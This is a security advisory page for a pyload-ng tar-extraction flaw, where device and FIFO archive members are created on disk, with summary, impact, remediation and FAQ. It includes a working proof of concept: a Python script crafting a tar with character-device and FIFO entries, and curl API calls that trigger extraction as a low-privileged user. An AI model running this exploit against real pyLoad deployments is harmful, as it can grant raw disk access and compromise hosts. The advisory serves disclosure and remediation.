GHSA-fr26-jjhm-638c: Path Traversal

Published Oct 9, 2026
·
Updated

Summary

UnTar.safeextractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member names and symlink/hardlink targets, but never checks member types, and calls tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is fullytrusted, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke ExtractArchive.extractpackage).

Details

python plugins/extractors/UnTar.py:69-79 for member in tar.getmembers(): if not iswithindirectory(...) or <symlink/hardlink target checks>: # names/links only raise ArchiveError(...) tar.extractall(path, members, numericowner=numericowner) # no filter=

No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create FIFOs for any euid.

PoC

bash BASE=http://127.0.0.1:8100 craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member python3 - <<'EOF' import tarfile, io t = tarfile.open('dev.bin','w') # name it .bin so UnTar (content-sniffed) claims it t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER')) i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666 t.addfile(i) f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE t.addfile(f); t.close() EOF

as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder, then trigger extraction curl -s -X POST "$BASE/api/addpackage" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}' curl -s -X POST "$BASE/api/servicecall" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' \ -d '{"servicename":"ExtractArchive.extractpackage","arguments":["<pid>"]}'

ls -l <extract dir> → crw-rw-rw- 1 root root 1, 3 nulldev (character device created) → prw-r--r-- 1 root root pipe (FIFO created) → -rw-r--r-- 1 root root marker.txt

Negative control: the same flow with a ../evil traversal member is rejected (ArchiveError: Attempted path traversal in archive) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.)

Impact

With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.

Remediation

In safeextractall, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it.

References

- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).

Affected Software

1 affected component
pip/pyload-ng<=0.5.0b3.dev101

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Configuration

    In UnTar._safe_extractall and the shared pre-extraction validator, reject archives containing device or FIFO members (including member.isdev(), ischr(), isblk(), or isfifo()) and pass filter="data" to tarfile.extractall. Python >=3.12 supports this filter; backport the member-type check for Python 3.9–3.13, since the safe default is only present in Python 3.14.

    pyLoad UnTar and shared extractor pre-validation tar member-type validation / extraction filter = Reject or skip every member that is not a regular file, directory, or safe link; use filter="data" where supported

Event History

Oct 9, 2026
Advisory Published
via GitHub·05:08 PM
Data Sourced
via GitHub·05:08 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue in a typical deployment?

Any low-privileged user who can trigger archive extraction can supply a crafted tar archive through ADD and invoke extraction through STATUS. The impact is especially severe when pyLoad runs as root, as in the official Docker deployment.

2

Which Python runtimes are affected by the unsafe default extraction behavior?

Python 3.9 through 3.13 use tarfile's fully_trusted extraction default, which permits creation of device and FIFO entries. Python 3.14 changes the default to a safe filter.

3

What is the practical impact when pyLoad runs as root?

A crafted archive containing a block-device entry can cause pyLoad to create that device on disk. This grants raw disk access and can lead to full host compromise.

4

What should be restricted if an update cannot be applied immediately?

Restrict low-privileged users' ability to submit archives and trigger archive extraction, specifically the ADD and STATUS paths described. Avoid running pyLoad as root where possible, since root execution enables the raw-disk-access impact.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203